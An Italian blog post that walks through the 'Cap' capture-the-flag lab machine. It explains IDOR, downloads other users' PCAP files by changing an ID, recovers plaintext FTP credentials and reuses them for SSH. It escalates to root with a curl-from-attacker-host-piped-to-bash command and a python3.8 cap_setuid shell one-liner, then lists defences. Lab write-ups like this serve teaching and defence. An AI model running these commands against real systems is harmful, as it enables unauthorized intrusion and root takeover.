Cerca nel blog

lunedì 10 febbraio 2025

Exploit della Macchina Cap: Una Dimostrazione Pratica di IDOR e Privilege Escalation

Introduzione

Cap è una macchina Linux a bassa difficoltà progettata per test di sicurezza. Al suo interno è presente un server HTTP dedicato ad attività amministrative, tra cui la cattura di traffico di rete. In questo write-up, analizzeremo come una vulnerabilità IDOR (Insecure Direct Object Reference) abbia permesso di accedere a dati sensibili e di ottenere privilegi root tramite escalation.



Cos’è l’IDOR?

L’IDOR è una vulnerabilità che si verifica quando un’applicazione espone riferimenti diretti a oggetti interni (es. ID di record, file) senza controllare i permessi dell’utente. Ciò consente a un attaccante di manipolare tali riferimenti per accedere a risorse non autorizzate.


Esempio Pratico
Supponiamo un URL come:



Copy
http://esempio.com/documento/123


Se l’applicazione non verifica che l’utente abbia i diritti per accedere al documento con ID 123, modificando questo valore (es. 124) si potrebbe accedere a documenti altrui.


Rischi Associati

  • Esposizione di dati sensibili.

  • Manipolazione di risorse critiche.

  • Difficoltà di individuazione (bassa visibilità).


Prevenzione

  • Implementare controlli di accesso granulari.

  • Utilizzare identificatori non prevedibili (es. UUID).

  • Validare e sanificare gli input.

  • Loggare le attività sospette.



La Vulnerabilità nella Macchina Cap

L’applicazione web di Cap permetteva il download di file PCAP (acquisizioni di traffico di rete) tramite URL come:


Copy
http://10.10.10.56/data/2


Modificando l’ID (23, ecc.), era possibile scaricare PCAP appartenenti ad altri 

utenti, sfruttando proprio un IDOR.



Fasi dell’Attacco

1. Scansione Iniziale

Dopo aver configurato la VPN per accedere alla macchina, ho utilizzato nmap per identificare le porte aperte:


bash
Copy
nmap -sV 10.10.10.56


Risultato:

  • Porta 21 (FTP), 22 (SSH), 80 (HTTP).


2. Exploit dell’IDOR

Modificando l’ID nell’URL (es. http://10.10.10.56/data/3), ho scaricato diversi file PCAP.


3. Analisi con Wireshark

Uno dei file PCAP conteneva una connessione FTP non cifrata, con credenziali in chiaro:


Copy
User: nathan  
Password: Buck3tH4TF0RM3!


4. Accesso SSH

Le stesse credenziali erano valide per il servizio SSH:


bash
Copy
ssh nathan@10.10.10.56


Privilege Escalation: Da Utente a Root


1. Ricerca di Vulnerabilità con linPEAS


  • Cos'è linPEAS (linux Privilege Escalation Awesome Script) 

linPEAS identifica potenziali vettori di escalation dei privilegi e vulnerabilità all’interno di un sistema linux lo script si occupa di:
  • verifica della configurazione e dei permessi di file critici
  • Identificazione di servizi in esecuzione e processi potenzialmente insicuri.
  • Raccolta di informazioni su software installati, configurazioni di rete e possibili errori di configurazione.
  • Analisi di eventuali debolezze nei meccanismi di autenticazione e autorizzazione.

Dopo aver ottenuto l’accesso come nathan, ho trasferito lo script linPEAS per individuare vettori di escalation:


  • Avvio di un server HTTP in locale:

  • bash
    Copy
    python -m http.server 80

  • Esecuzione di linPEAS sul target:


  • bash
    Copy
    curl http://<IP_ATTACCANTE>/linpeas.sh | bash

2. Individuazione del Vettore Critico

Lo script ha evidenziato che l’eseguibile python3.8 possedeva il capability CAP_SETUID:


bash
Copy
/usr/bin/python3.8 = cap_setuid+ep


Questa capability consente a Python di modificare l’UID del processo, permettendo di impersonare root.


3. Exploit Finale

Per ottenere una shell root, ho eseguito:


python
Copy
import os
os.setuid(0)
os.system("/bin/bash")


Esecuzione:


bash
Copy
python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'


Risultato: Accesso come root! 🔑



Conclusioni

La macchina Cap dimostra due rischi critici:

  1. IDOR: L’assenza di controlli sugli ID ha permesso l’accesso a dati altrui.

  2. Capability Pericolose: Assegnare capability come CAP_SETUID a interpreti (es. Python) può portare a escalation catastrofiche.

Best Practice

  • Limitare l’uso di capability ai soli processi necessari.

  • Revisionare periodicamente i permessi dei file.

  • Adottare il principio del minimo privilegio.

Questo caso sottolinea l’importanza di un’igiene di sicurezza rigorosa, sia nel codice che nella configurazione di sistema.

Alessandro